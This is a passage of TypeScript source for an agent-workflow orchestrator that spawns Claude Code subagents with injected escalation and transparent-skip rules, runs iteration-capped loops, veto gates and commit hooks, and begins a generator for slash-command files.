v3.4.4 (Phase 3) — _dispatchSkillStub.fn now conditionally wraps sdkSpawn\n// in ralphLoopWrap when phase opt-in (max_iterations / fallback / upstream='ralph-loop'\n// signal); else single-shot per Phase 2. max-iter resolved via gateContext.maxIterations\n// (CLI flag) → phase.max_iterations → 20, clamped 100.\n// Phase v3.4.4 (Phase 4) — buildAgentDef enriched with role-prompts.yaml lookup\n// + workflowName plumbed through MaxIterFallbackCtx (replaces hardcoded\n// 'harnessed-run' literal at fallback site).\nimport { dirname, join, resolve as pathResolve } from 'node:path'\nimport { activatePhase, completePhase } from '../checkpoint/engineHook.js'\nimport { pause as statePause } from '../checkpoint/state.js'\nimport { loadRolePrompts, type RolePrompt } from '../cli/lib/generateCommands.js'\nimport { runAfterOutputHook } from '../discipline/enforcement/after-output.js'\nimport { runBeforeCommitHook } from '../discipline/enforcement/before-commit.js'\nimport { loadDisciplinesForPhase } from '../discipline/enforcement/before-phase-execute.js'\nimport { arbitrateBeforeSpawn } from '../discipline/enforcement/before-spawn.js'\nimport { isVetoed } from './governance.js'\nimport { resolveJudgmentGate } from './judgmentResolver.js'\nimport type { AgentDefinition } from './lib/agentDefinition.js'\nimport {\n type FallbackMaxIterationsExceededConfig,\n handleMaxIterationsExceeded,\n MaxIterationsExceededError,\n ralphLoopWrap,\n} from './lib/ralphLoop.js'\nimport { sdkSpawn } from './lib/sdkSpawn.js'\nimport { loadPhases } from './loadPhases.js'\nimport { type MasterName, runMasterOrchestrator } from './masterOrchestrator.js'\n\nexport type { FallbackMaxIterationsExceededConfig } from './lib/ralphLoop.js'\n\nconst MASTER_NAMES: readonly MasterName[] = ['discuss', 'plan', 'task', 'verify', 'auto']\n\n/** Phase v3.4.4 (Phase 3) — ralph-loop default cap (sister src/routing/engine.ts:88). */\nconst RALPH_DEFAULT_MAX_ITER = 20\n/** Phase v3.4.4 (Phase 3) — ralph-loop hard upper bound (sister workflows/defaults.yaml:103\n * + Phase 2.2 STRIDE T-2.2-05 DoS mitigation). */\nconst RALPH_HARD_UPPER_LIMIT = 100\n\nexport interface WorkflowRunResult {\n status: 'complete' | 'paused-veto' | 'failed'\n phasesRun: number\n lastPhaseId?: string\n /** Phase ids whose `gate` resolved false → skipped (D-04 + D-11 v2 consume). */\n skippedPhases?: string[]\n}\n\n/** D-03 WIRED stub spawner;W1.5 — Optional target + triggers_commit additive default undefined。\n * Exported for test injection (W1.5 fixture vi.spyOn override stub shape to fire hook path)。 */\nexport interface DispatchStubResult {\n status: 'ok' | 'fail'\n output: string\n decision?: string\n target?: 'chat' | 'file' | 'commit-message'\n triggers_commit?: boolean\n /** v3.5.0 Phase 2 — Option 1-Lite escalation signal from spawned subagent.\n * When true, runWorkflow emits stderr hint suggesting user open Agent Teams\n * in main Claude Code session (D3). */\n needsTeamsEscalation?: boolean\n escalationReason?: string\n}\n/** v3.5.0 Phase 2 — Option 1-Lite escalation rules injected via\n * criticalSystemReminder_EXPERIMENTAL (already piped through sdkReconcile.ts\n * L54-56 into spawned subagent prompt). Self-contained natural-language\n * transcription of workflows/judgments/parallelism-gate.yaml agent-teams-upgrade\n * fires_when. Spawned subagent CANNOT itself call TeamCreate (SDK v0.3.142 does\n * not expose Team APIs); it ONLY signals via structured_output.needs_teams_escalation.\n * See PHASE-2-SPEC.md § D2 for design rationale + spike result. */\nexport const ESCALATION_RULES = `If during this task you detect ANY of the following 5 conditions, set \\`needs_teams_escalation: true\\` in your structured output and fill \\`escalation_reason\\` with the trigger name + one-sentence specifics. These are signals to the human user in the main Claude Code session — do NOT attempt to call TeamCreate/SendMessage/TeamDelete yourself (those tools are not available to you).\n\nFive triggers (any one suffices):\n\n1. **teammate_send_message_needed** — the task requires two or more subagents to exchange messages mid-task (e.g., reconciling API contract proposals across frontend and backend), not just fan-out + report.\n\n2. **subagent_context_overflow** — your context budget is filling and a separate subagent is needed to take over a portion of the work.\n\n3. **shared_task_list** — multiple subagents need to coordinate self-assignment from a shared task list (not pre-partitioned work).\n\n4. **opposing_hypothesis_debate** — the task requires two subagents to defend opposing hypotheses to a lead arbiter (e.g., root-cause debugging where two competing theories need separate evidence-gathering).\n\n5. **fullstack_three_way** — the task is a synchronized fullstack push (frontend + backend + tests) requiring API contract alignment across three roles simultaneously.\n\nIf none of the five apply, omit \\`needs_teams_escalation\\` (defaults to false) and proceed normally.`\n\n/** v3.6.0 Phase 3 — Transparent-skip rule injection (P0b 下半, Audit §\n * fallback 三条铁律 \"拿不准 → 倾向跳过 + 透明声明\"). Sister to ESCALATION_RULES\n * above, appended to the same `criticalSystemReminder_EXPERIMENTAL` field via\n * `${ESCALATION_RULES}\\n\\n${TRANSPARENT_SKIP_RULES}` in buildAgentDef. Spawned\n * subagent reads the rule + emits the verbatim skip message when gate context\n * is ambiguous instead of silent execution.\n * See workflows/disciplines/operational.yaml `transparent-skip-on-low-confidence`\n * rule (check_method: prompt-inject) for the discipline-layer declaration. */\nexport const TRANSPARENT_SKIP_RULES = `When you encounter a phase gate or routing decision where the input context is missing key fields, default-valued, or contradictory, do NOT proceed silently. Instead, skip the phase and emit a one-line transparent explanation:\n\n \"Skipped <phase>, because <reason>. Tell me if you actually need it.\"\n (中文: \"这次跳过了 <phase>, 因为 <reason>. 如果你认为需要请明说.\")\n\nThis applies to: strategic-layer review skip / phase-layer clarification skip / subtask-brainstorming skip / TDD enforcement skip / Agent Teams escalation skip. Chain-isolation rule: skipping one layer does NOT mandate skipping subsequent layers — each layer is independently evaluated.`\n\n/** v3.6.0 Phase 4 — Agent Teams prevention checklist injection (P1b). Spawned\n * subagent doesn't have Team APIs (SDK v0.3.142 doesn't expose them), so this\n * is signal/discipline only — when subagent signals escalation via\n * needs_teams_escalation, the user/main-session opens the team, and this\n * checklist reminds spawned subagent (and by signal propagation, the user)\n * of the 4 防呆 rules.\n *\n * Source: ~/.claude/rules/agent-teams.md \"防呆清单\" (4 items) — paraphrased\n * for prompt injection (NOT verbatim user-private file).\n *\n * See PHASE-4-SPEC.md § D1 for design rationale + prompt-budget impact (~200\n * tokens, total criticalSystemReminder_EXPERIMENTAL ~670 tokens). */\nexport const AGENT_TEAMS_PREVENTION_RULES = `If you signal needs_teams_escalation=true, ALSO advise the user on these 4 Agent Teams prevention rules in your escalation_reason or summary (the user will be the one calling TeamCreate / SendMessage / TeamDelete; remind them upfront):\n\n1. **Session-scoped**: Teams live only in the current Claude Code session. \\`/resume\\` loses all teammates. Do not treat teams as persistent state — finish team work within one session.\n\n2. **Cleanup mandatory**: Before session ends, send \\`SendMessage(to=<teammate>, content=\"shutdown_request\")\\` to each teammate, then call \\`TeamDelete\\`. Orphan teammates consume resources. This is a hard rule, not advisory.\n\n3. **Token cost estimation**: Before creating a team, estimate \\`team_cost ≈ N_teammates × N_rounds × avg_tokens_per_round + N_teammates × initial_brief_tokens\\`. Compare to subagent fan-out cost (\\`≈ N_subagents × (initial_brief + summary_tokens)\\`). Only open a team when \\`team_cost < 2 × subagent_cost\\` — otherwise prefer fan-out.\n\n4. **Brief must be self-contained**: Each teammate launches WITHOUT main-session context. The Agent() prompt must include enough background, file paths, success criteria, and counter-positions so the teammate can work independently. Generic prompts produce shallow output.`\n\n/** v3.6.0 Phase 4 — Combined critical-system-reminder string injected into\n * spawned subagent prompt. Composition order (sister Phase 3 chain extended):\n * 1. ESCALATION_RULES (v3.5.0 Phase 2) — 5 Agent Teams escalation triggers\n * 2. TRANSPARENT_SKIP_RULES (v3.6.0 Phase 3) — fallback 三条铁律 transparent\n * skip discipline (skip + explanation > silent execution on low-confidence)\n * 3. AGENT_TEAMS_PREVENTION_RULES (v3.6.0 Phase 4) — Agent Teams 防呆 4 项\n * (session-scoped / cleanup mandatory / token-cost / self-contained brief)\n * Both paths in buildAgentDef (rolePrompt found + conservative fallback) inject\n * this combined string into criticalSystemReminder_EXPERIMENTAL.\n * Logical order: 识别 (ESCALATION) → confidence judge (TRANSPARENT_SKIP) →\n * prevention discipline (AGENT_TEAMS_PREVENTION). */\n/** v3.8.0 P1 — Conditional RULES inject. Map rule name → RULES const for\n * per-phase dynamic chain construction. Adding a new rule: add const above +\n * entry here + (optional) default-list. Unknown names silently skipped at\n * runtime for forward compatibility. */\nconst RULES_MAP: Record<string, string> = {\n escalation: ESCALATION_RULES,\n 'transparent-skip': TRANSPARENT_SKIP_RULES,\n 'agent-teams-prevention': AGENT_TEAMS_PREVENTION_RULES,\n}\n\n/** v3.8.0 P1 — Default RULES injected when phase yaml omits `injects_rules`.\n * ~470 tokens (escalation ~320 + transparent-skip ~150). Agent Teams\n * prevention (~200 tokens) opt-in for phases that genuinely involve Team\n * escalation (task-deliver / task-test / verify-multispec — see their\n * workflow.yaml). Weighted-avg across 24 sub-workflows ≈ 512 tokens/spawn\n * vs v3.6.0 Phase 4 全 670 → ~24% reduction. */\nconst DEFAULT_INJECTS_RULES = ['escalation', 'transparent-skip'] as const\n\n/** v3.8.0 P1 — Build `criticalSystemReminder_EXPERIMENTAL` string from rule\n * name list. Empty/undefined list → DEFAULT_INJECTS_RULES. Unknown rule\n * names silently filtered (forward-compat). */\nfunction buildCriticalReminder(injectsRules?: readonly string[]): string {\n const rules = injectsRules ?? DEFAULT_INJECTS_RULES\n return rules\n .map((name) => RULES_MAP[name])\n .filter((rule): rule is string => rule !== undefined)\n .join('\\n\\n')\n}\n\n/** Phase v3.4.4 (Phase 4) — build an AgentDefinition for a workflow phase skill,\n * enriched via `workflows/role-prompts.yaml` when a matching entry exists.\n *\n * Lookup chain (D-3):\n * 1. rolePrompts[skillName] — phase id direct hit (e.g. '01-fan-out' on the\n * rare case the phase id IS keyed in role-prompts.yaml).\n * 2. rolePrompts[workflowName] — sub-workflow name hit (e.g. phase id\n * '01-review' inside `verify-paranoid/workflow.yaml` → 'verify-paranoid'\n * keyed in role-prompts.yaml). This is the common path.\n * 3. Conservative 2-field stub fallback (Phase 2 behavior) — applies for\n * standalone non-master phases that lack any role-prompt entry.\n *\n * When found, splices `responsibility` + `checklist` + `severity` + `specialist`\n * into the prompt body. `modelTierOverride` (B-10 escape hatch from execute-task\n * `--model-tier inherit`) is applied to the AgentDefinition `model` field when\n * set (sourced from `gateContext.modelTierOverride`).\n *\n * v3.5.0 Phase 2 Wave 1 — BOTH code paths (rolePrompt found OR fallback stub)\n * now also inject `criticalSystemReminder_EXPERIMENTAL: ESCALATION_RULES` so\n * spawned subagents uniformly know when to signal Agent Teams escalation.\n *\n * v3.6.0 Phase 3 Wave 3 — both code paths now inject CRITICAL_SYSTEM_REMINDER\n * (= ESCALATION_RULES + TRANSPARENT_SKIP_RULES appended) so spawned subagents\n * ALSO follow the fallback 三条铁律 \"拿不准 → 倾向跳过 + 透明声明\" discipline.\n *\n * v3.6.0 Phase 4 Wave 1 — added AGENT_TEAMS_PREVENTION_RULES (P1b) so spawned\n * subagents, when signaling needs_teams_escalation=true, ALSO remind the user\n * of the 4 Agent Teams 防呆 rules.\n *\n * v3.8.0 P1 — `criticalSystemReminder_EXPERIMENTAL` is now built dynamically via\n * `buildCriticalReminder(injectsRules)`. Callers can pass phase-specific rule\n * list; absent → DEFAULT_INJECTS_RULES (escalation + transparent-skip, ~470\n * tokens). Phases declaring `injects_rules: [escalation, transparent-skip,\n * agent-teams-prevention]` in workflow.yaml get the 670-token full chain.\n * ~24% weighted-avg token reduction vs unconditional v3.6.0 Phase 4 behavior. */\nexport function buildAgentDef(\n skillName: string,\n rolePrompts?: Record<string, RolePrompt>,\n workflowName?: string,\n modelTierOverride?: string,\n injectsRules?: readonly string[],\n): AgentDefinition {\n const rp = rolePrompts?.[skillName] ?? (workflowName ? rolePrompts?.[workflowName] : undefined)\n const criticalReminder = buildCriticalReminder(injectsRules)\n if (!rp) {\n // Conservative fallback (Phase 2 behavior) for phase ids not in role-prompts.yaml.\n return {\n description: `harnessed workflow phase: ${skillName}`,\n prompt: `You are executing the '${skillName}' workflow phase. Follow the phase intent and emit a structured COMPLETE signal when done.`,\n criticalSystemReminder_EXPERIMENTAL: criticalReminder,\n ...(modelTierOverride ? { model: modelTierOverride } : {}),\n } as AgentDefinition\n }\n const checklist = rp.checklist.length\n ? `\\n\\nChecklist:\\n${rp.checklist.map((c, i) => ` ${i + 1}. ${c}`).join('\\n')}`\n : ''\n const prompt = [\n `You are a ${rp.specialist}.`,\n ``,\n rp.responsibility.trim(),\n checklist,\n ``,\n `Severity scale: ${rp.severity}`,\n ``,\n `Emit a structured COMPLETE signal when done.`,\n ].join('\\n')\n return {\n description: rp.description,\n prompt,\n criticalSystemReminder_EXPERIMENTAL: criticalReminder,\n ...(modelTierOverride ? { model: modelTierOverride } : {}),\n } as AgentDefinition\n}\n\n/** Phase v3.4.4 (Phase 3) — ralph-loop opt-in detection per phase. Returns true when\n * any of: phase.max_iterations declared, phase.fallback.max_iterations_exceeded\n * declared, phase.upstream === 'ralph-loop'. Default OFF (single-shot sdkSpawn)\n * for phases without any ralph-loop yaml signal — preserves Phase 2 behavior for\n * the 7 phases that lack the signal (e.g. task-code/02-progress, verify-design/01).\n *\n * Exported for unit-testability + so Phase 3 Commit 3's wrap-conditional inside\n * `_dispatchSkillStub.fn` can reuse the same predicate (single source of truth). */\nexport function isRalphLoopOptIn(phase: unknown): boolean {\n if (!phase || typeof phase !== 'object') return false\n const p = phase as Record<string, unknown>\n if (p.max_iterations !== undefined && p.max_iterations !== null) return true\n if (p.upstream === 'ralph-loop') return true\n const fb = p.fallback as Record<string, unknown> | undefined\n if (fb?.max_iterations_exceeded !== undefined) return true\n return false\n}\n\n/** Phase v3.4.4 (Phase 3) — max-iter resolution chain (CLI flag → phase yaml → 20),\n * clamped at hard_upper_limit 100. Reads gateContext.maxIterations (Number, set\n * by src/cli/run.ts:84 from `--max-iterations <n>`) + phase.max_iterations (yaml\n * Number OR pre-resolved JINJA String → coerce via parseInt).\n *\n * Priority (high → low):\n * 1. gateContext.maxIterations (CLI flag)\n * 2. phase.max_iterations (yaml Number OR coerced String)\n * 3. RALPH_DEFAULT_MAX_ITER (hardcoded 20)\n *\n * Result clamped to [1, RALPH_HARD_UPPER_LIMIT (100)] regardless of source.\n *\n * Exported for unit-testability + so Phase 3 Commit 3's call-site at L183 can\n * pass the resolved value down to `_dispatchSkillStub.fn` opts.maxIter. */\nexport function resolveMaxIterations(phase: unknown, gateContext: Record<string, unknown>): number {\n const fromCli =\n typeof gateContext.maxIterations === 'number' ? gateContext.maxIterations : undefined\n let fromYaml: number | undefined\n if (phase && typeof phase === 'object') {\n const raw = (phase as Record<string, unknown>).max_iterations\n if (typeof raw === 'number') fromYaml = raw\n else if (typeof raw === 'string') {\n const n = Number.parseInt(raw, 10)\n if (Number.isFinite(n) && n > 0) fromYaml = n\n }\n }\n const chosen = fromCli ?? fromYaml ?? RALPH_DEFAULT_MAX_ITER\n return Math.min(Math.max(1, chosen), RALPH_HARD_UPPER_LIMIT)\n}\n\nexport const _dispatchSkillStub = {\n fn: async (\n skillName: string,\n phase?: unknown,\n opts?: {\n maxIter?: number\n fallback?: FallbackMaxIterationsExceededConfig\n workflowName?: string\n rolePrompts?: Record<string, RolePrompt>\n modelTierOverride?: string\n },\n ): Promise<DispatchStubResult> => {\n const optIn = isRalphLoopOptIn(phase)\n const spawnOnce = async (\n resumeSessionId?: string,\n onSessionId?: (id: string) => void,\n ): Promise<string> => {\n // v3.8.0 P1 — read optional phase.injects_rules (string[]) for conditional\n // RULES inject; absent → buildAgentDef applies DEFAULT_INJECTS_RULES.\n const injectsRules =\n phase &&\n typeof phase === 'object' &&\n 'injects_rules' in phase &&\n Array.isArray((phase as Record<string, unknown>).injects_rules)\n ? ((phase as Record<string, unknown>).injects_rules as string[])\n : undefined\n return sdkSpawn(\n buildAgentDef(\n skillName,\n opts?.rolePrompts,\n opts?.workflowName,\n opts?.modelTierOverride,\n injectsRules,\n ),\n {\n expertName: skillName,\n ...(resumeSessionId ? { resumeSessionId } : {}),\n ...(onSessionId ? { onSessionId } : {}),\n },\n )\n }\n\n let envelopeJson: string\n try {\n if (optIn) {\n const maxIter = opts?.maxIter ?? RALPH_DEFAULT_MAX_ITER\n envelopeJson = await ralphLoopWrap(spawnOnce, maxIter)\n } else {\n envelopeJson = await spawnOnce()\n }\n } catch (err) {\n // R20.10 c — explicit halt path: phase fallback config present → UX text + process.exit\n if (err instanceof MaxIterationsExceededError && opts?.fallback) {\n // handleMaxIterationsExceeded calls process.exit(exit_code) — never returns\n handleMaxIterationsExceeded(err, opts.fallback, {\n subtaskSummary: `phase ${skillName}`,\n // Phase 4 — plumbed actual workflow name (was hardcoded 'harnessed-run'\n // pre-Phase 4); falls back to literal when opts.workflowName absent\n // (preserves Phase 3 behavior for callers that don't pass workflowName).\n workflowName: opts.workflowName ?? 'harnessed-run',\n phaseId: skillName,\n maxIterations: opts?.maxIter ?? RALPH_DEFAULT_MAX_ITER,\n })\n }\n // Fail-soft per ADR 0029 — runtime emits failure but doesn't crash run loop.\n return {\n status: 'fail',\n output:\n err instanceof MaxIterationsExceededError\n ? `ralph-loop max-iterations exceeded (${err.iterations}) for ${skillName}`\n : `sdkSpawn failed for ${skillName}: ${(err as Error).message}`,\n }\n }\n\n const env = JSON.parse(envelopeJson) as {\n structured_output?: {\n status?: string\n // v3.5.0 Phase 2 — Option 1-Lite escalation signal fields (D3).\n needs_teams_escalation?: boolean\n escalation_reason?: string\n }\n text?: string\n result?: string\n subtype?: string\n }\n const status: 'ok' | 'fail' =\n env.structured_output?.status === 'COMPLETE' || env.subtype === 'success' ? 'ok' : 'fail'\n const escalation = env.structured_output?.needs_teams_escalation === true\n return {\n status,\n output: env.text ?? env.result ?? '',\n ...(env.structured_output?.status ? { decision: env.structured_output.status } : {}),\n ...(escalation\n ? {\n needsTeamsEscalation: true,\n ...(env.structured_output?.escalation_reason\n ? { escalationReason: env.structured_output.escalation_reason }\n : {}),\n }\n : {}),\n }\n },\n}\n\nexport interface RunWorkflowOpts {\n packageRoot?: string\n gateContext?: Record<string, unknown>\n}\n\n/** Run a workflow YAML to complete / paused-veto / failed (activate before veto per\n * B-01)。W0.2: master detect → runMasterOrchestrator + disciplines wedge → gateContext。\n * W1.5: 3 phase-level hook fire point (before-spawn / after-output / before-commit)。 */\nexport async function runWorkflow(\n yamlPath: string,\n vars: Record<string, string>,\n opts: RunWorkflowOpts = {},\n): Promise<WorkflowRunResult> {\n const parsed = loadPhases(yamlPath, vars)\n // packageRoot fallback: infer from yaml's parent-of-parent (cwd-swap safe).\n const yamlDir = dirname(pathResolve(yamlPath))\n const inferredRoot = pathResolve(yamlDir, '..', '..')\n const packageRoot = opts.packageRoot ?? inferredRoot\n // shallow-clone gateContext 避免 mutate caller object (W0.2 加 disciplines)。\n const gateContext: Record<string, unknown> = { ...(opts.gateContext ?? {}) }\n\n // Phase 4 — load role-prompts.yaml ONCE per workflow run (cached map for all\n // phases — NOT per-phase). Fail-soft per ADR 0029: missing yaml or parse error\n // → empty map (buildAgentDef falls back to conservative 2-field stub).\n let rolePrompts: Record<string, RolePrompt> = {}\n try {\n rolePrompts = await loadRolePrompts(join(packageRoot, 'workflows'))\n } catch (err) {\n console.warn(\n `⚠️ loadRolePrompts failed (${(err as Error).message}); ` +\n 'proceeding without role-prompt enrichment (ADR 0029 fail-soft).',\n )\n }\n\n // W0.2 — master vs sub detect: workflow ∈ 4 master + delegates_to non-empty → delegate。\n const workflowName = parsed.workflow\n const isMaster =\n 'delegates_to' in parsed &&\n Array.isArray(parsed.delegates_to) &&\n parsed.delegates_to.length > 0 &&\n MASTER_NAMES.includes(workflowName as MasterName)\n if (isMaster) {\n const r = await runMasterOrchestrator(workflowName as MasterName, gateContext, packageRoot)\n return {\n status: 'complete',\n phasesRun: r.fired.length,\n ...(r.skipped.length > 0 ? { skippedPhases: r.skipped } : {}),\n }\n }\n\n // W0.2 — loadDisciplinesForPhase wedge: v3 sub yaml `disciplines_applied` 消费,\n // 6 default fallback;v1/v2 yaml 无 field 时 narrow 守 backwards-compat。Fail-soft 沿 ADR 0029。\n const disciplinesApplied =\n 'disciplines_applied' in parsed && Array.isArray(parsed.disciplines_applied)\n ? (parsed.disciplines_applied as readonly string[])\n : undefined\n try {\n const disciplines = await loadDisciplinesForPhase(disciplinesApplied, packageRoot)\n gateContext.disciplines = disciplines\n } catch (err) {\n console.warn(\n `⚠️ loadDisciplinesForPhase failed (${(err as Error).message}); ` +\n 'proceeding without disciplines map (sister ADR 0029 fail-soft).',\n )\n }\n\n const skippedPhases: string[] = []\n // v3 sub/standalone phases Optional → 守护 fallback;v1/v2 必有 phases (loadPhases validate)。\n const phases = parsed.phases ?? []\n for (let i = 0; i < phases.length; i++) {\n const ph = phases[i]\n if (!ph) continue\n await activatePhase(ph.id)\n\n // W1.5 — before-spawn arbitrate if `invokes_tools.length > 1` (K14 warn-not-halt)。\n const invokesTools =\n 'invokes_tools' in ph && Array.isArray(ph.invokes_tools) ? ph.invokes_tools : undefined\n if (invokesTools && invokesTools.length > 1) {\n try {\n const firedCaps = invokesTools.map((c) => ({ name: c.tool, tier: c.tool }))\n await arbitrateBeforeSpawn(firedCaps, packageRoot)\n } catch (err) {\n console.warn(\n `⚠️ phase ${ph.id} before-spawn arbitrate failed (${(err as Error).message}); ` +\n 'proceeding default tool order (K14 warn-not-halt).',\n )\n }\n }\n\n // D-04 lazy-read governance gate (1 read per phase boundary, NOT polling)。\n if (await isVetoed()) {\n await statePause()\n return { status: 'paused-veto', phasesRun: i, lastPhaseId: ph.id }\n }\n\n // v2 `phase.gate` 4-level ref pre-flight。Fail-soft per ADR 0029 (eval throw → warn + 视为 fired=true)。\n if ('gate' in ph && ph.gate) {\n let fires = true\n try {\n fires = await resolveJudgmentGate(ph.gate, gateContext, packageRoot)\n } catch (err) {\n console.warn(\n `⚠️ phase ${ph.id} gate ${ph.gate} eval failed (${(err as Error).message}); ` +\n 'proceeding with phase as if gate fired=true (ADR 0029 fail-soft).',\n )\n }\n if (!fires) {\n skippedPhases.push(ph.id)\n await completePhase({\n phaseId: ph.id,\n status: 'complete',\n lastTask: `phase ${ph.id} skipped: gate ${ph.gate} evaluated false`,\n })\n continue\n }\n }\n\n // v1 skills[0] OR v2/v3 phase id 作 skill name dispatch (narrow 'skills' in ph)。\n const skillName = ('skills' in ph && ph.skills?.[0]) || ph.id\n // Phase v3.4.4 (Phase 3) — resolve max-iter + extract fallback config from phase yaml\n // before dispatch; both consumed by _dispatchSkillStub.fn opts to gate ralph-loop wrap.\n const maxIter = resolveMaxIterations(ph, gateContext)\n const fallback =\n 'fallback' in ph && ph.fallback?.max_iterations_exceeded\n ? (ph.fallback.max_iterations_exceeded as FallbackMaxIterationsExceededConfig)\n : undefined\n const r = await _dispatchSkillStub.fn(skillName, ph, {\n maxIter,\n ...(fallback ? { fallback } : {}),\n workflowName,\n rolePrompts,\n ...(typeof gateContext.modelTierOverride === 'string'\n ? { modelTierOverride: gateContext.modelTierOverride }\n : {}),\n })\n if (r.status !== 'ok') {\n return { status: 'failed', phasesRun: i, lastPhaseId: ph.id }\n }\n\n // v3.5.0 Phase 2 — Option 1-Lite escalation hint to user (D4). spawned subagent\n // signaled one of 5 parallelism-gate.yaml agent-teams-upgrade triggers fired.\n // User in main Claude Code session decides whether to open Agent Teams\n // (TeamCreate not available to spawned subagents via SDK v0.3.142). Non-blocking;\n // English-only per D5 default (i18n deferred to v3.6 if user requests).\n if (r.needsTeamsEscalation === true) {\n const reason = r.escalationReason ?? 'unspecified trigger'\n console.error(\n `⚠️ phase ${ph.id} suggests Agent Teams escalation — ${reason}. ` +\n 'Consider opening a team in your main Claude Code session (TeamCreate) ' +\n 'if continuing this work benefits from teammate coordination. ' +\n 'See workflows/judgments/parallelism-gate.yaml for the 5 upgrade triggers.',\n )\n }\n\n // W1.5 — after-output validate if r.target==='chat' (commit/file target 不应用 output-style)。\n if (r.target === 'chat') {\n try {\n await runAfterOutputHook({\n responseText: r.output,\n responseTarget: 'chat',\n userRequestedEmoji: false,\n packageRoot,\n })\n } catch (err) {\n console.warn(\n `⚠️ phase ${ph.id} after-output hook failed (${(err as Error).message}); ` +\n 'proceeding (ADR 0029 fail-soft).',\n )\n }\n }\n\n // W1.5 — before-commit hook if r.triggers_commit===true (biome-preempt + no-skip-hooks)。\n // changedFiles + cmdArgs v3.0 WIRED 默认 empty (Phase 3.3+ dogfood 真接 spawn 时 fill)。\n if (r.triggers_commit === true) {\n try {\n await runBeforeCommitHook({\n changedFiles: [],\n cmdArgs: [],\n packageRoot,\n cmdType: 'git-commit',\n hasUserApproval: false,\n })\n } catch (err) {\n console.warn(\n `⚠️ phase ${ph.id} before-commit hook failed (${(err as Error).message}); ` +\n 'proceeding (ADR 0029 fail-soft).',\n )\n }\n }\n\n await completePhase({\n phaseId: ph.id,\n status: 'complete',\n lastTask: `phase ${ph.id} complete: ${r.output}`,\n })\n }\n return {\n status: 'complete',\n phasesRun: phases.length,\n ...(skippedPhases.length > 0 ? { skippedPhases } : {}),\n }\n}\n","// v3.4.4 — Generate ~/.claude/commands/<x>.md from workflows/role-prompts.yaml.\n//\n// SCHEMA EVOLUTION:\n// v3.4.3 — dual-path body (SlashCommand \"Preferred path\" + Task-spawn\n// \"Fallback path\"). Both paths sidestepped the workflow runtime entirely;\n// the disciplines + judgments + master orchestration in src/workflow/ never\n// fired. SlashCommand path was also vapor when no upstream was installed.\n// v3.4.4 — single-path body that ALWAYS invokes the workflow runtime via\n// `harnessed run <name>` (Bash). This wires `~/.claude/commands/<x>.md`\n// to src/workflow/run.ts (the real orchestrator) instead of bypassing it.\n//\n// MARKER-BASED OVERWRITE (Option 2):\n// Each generated file emits `<!-- harnessed-generated:v3.4.x -->` as its\n// trailing marker. `writeAllCommands` overwrites files containing either\n// that marker OR the v3.4.3 dual-path signature; truly user-authored files\n// (with neither) are preserved with a warning. This lets `harnessed setup`\n// upgrade stale v3.4.3-generated files in place without clobbering customs.\n//\n// Karpathy simplicity: pure functions, single yaml load, ≤250 LOC, no new deps.\n\nimport { existsSync, readFileSync as nodeReadFileSync } from 'node:fs'\nimport { readFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport { parse as parseYaml } from 'yaml'\nimport type { CapabilityMap } from './capabilityResolver.js'\n\n/** Per-sub-workflow metadata from `workflows/role-prompts.yaml`. */\nexport interface RolePrompt {\n /** Capability key whose `.cmd` is the preferred slash command. Empty for masters. */\n primary_cap: string\n /** Title of the expert persona used in the fallback Task-spawn prompt. */\n specialist: string\n /** One-line job description (string with leading verb). */\n responsibility: string\n /** Checklist items (5-10) — skipped for masters (empty array). */\n checklist: string[]\n /** Severity scale label rendered in report-format section. */\n severity: string\n /** YAML frontmatter `description` field for the generated commands/<x>.md. */\n description: string\n /** Master orchestrators are pure dispatchers (no role-prompt fallback). */\n is_master?: boolean\n}\n\n/** Full registry shape — `{ prompts: { <slash-name>: RolePrompt, ... } }`. */\ninterface RolePromptsDoc {\n prompts?: Record<string, RolePrompt>\n}\n\n/** Single generated command file (filename + content). */\nexport interface GeneratedCommand {\n /** Bare filename — e.g. `verify-paranoid.md`. Caller joins with commands dir. */\n filename: string\n /** Full file content (frontmatter + body) ready to write. */\n content: string\n}\n\n/** Outcome per attempted write — skip when user's commands/ file already exists. */\nexport interface CommandWriteResult {\n /** Slash name (e.g. `verify-paranoid`). */\n name: string\n /** Absolute path the file would be / was written to. */\n path: string\n /** True = wrote new file; false = skipped because user file already existed. */\n written: boolean\n /** Warning text when skipped or when role-prompt missing for the workflow. */\n warning?: string\n}\n\n/** Load and parse `<workflowsDir>/role-prompts.yaml`. Tolerant of missing file. */\nexport async function loadRolePrompts(workflowsDir: string): Promise<Record<string, RolePrompt>> {\n const path = join(workflowsDir, 'role-prompts.yaml')\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch {\n return {}\n }\n const doc = parseYaml(raw) as RolePromptsDoc | null\n return doc?.prompts ?? {}\n}\n\n/**\n * Build `~/.claude/commands/<name>.md` content for a single workflow.\n *\n * v3.4.4 — Single-path body: ALWAYS invoke `harnessed run <name>` via the Bash\n * tool. The shell pipe `echo \"$ARGUMENTS\" | harnessed run <name> --task-stdin`\n * avoids shell-escape pain on user-supplied requirements containing quotes /\n * `$` / backticks; if `$ARGUMENTS` is empty the no-stdin variant runs.\n *\n * The 5-arg signature (capabilities + installedPlugins + installedUserSkills)\n * is preserved for forward compatibility but no longer renders `{{ capabilities\n * .<x>.cmd }}` placeholders — the v3.4.4 body has no placeholders.\n */\nexport function generateCommandFile(\n name: string,\n prompt: RolePrompt,\n _capabilities: CapabilityMap,\n _installedPlugins: Set<string>,\n _installedUserSkills: Set<string>,\n): { content: string; warnings: string[] } {\n const isMaster = prompt.is_master === true\n const argHint = isMaster ? '[task description]' : '[requirement text or omit]'\n const stagedNote =\n name === 'auto'\n ? '\\n- For stage-by-stage review, append `--staged` (pauses between stages for user review).'\n : ''\n\n const body = [\n `# /${name}`,\n ``,\n prompt.description,\n ``,\n `## How to invoke`,\n ``,\n `Use the Bash tool to run:`,\n ``,\n '```bash',\n `echo \"$ARGUMENTS\" | harnessed run ${name} --task-stdin`,\n '```',\n ``,\n `If \\`$ARGUMENTS\\` is empty (slash command invoked with no args), run \\`harnessed run ${name}\\` (no stdin pipe).`,\n ``,\n `After completion, the Bash output prints a \\`Next:\\` hint on stderr suggesting the next stage. Decide whether to invoke based on conversation context — the hint is informational, not prescriptive.`,\n ``,\n `## Notes`,\n ``,\n `- This file is generated by \\`harnessed setup\\` v3.4.4+. Re-run \\`harnessed setup\\` after a harnessed upgrade to refresh.`,\n `- The sister \\`~/.claude/skills/${name}/SKILL.md\\` is the Skill-tool entry point (Claude loads it when triggers match \\`trigger_phrases:\\`). Both files invoke the same \\`harnessed run 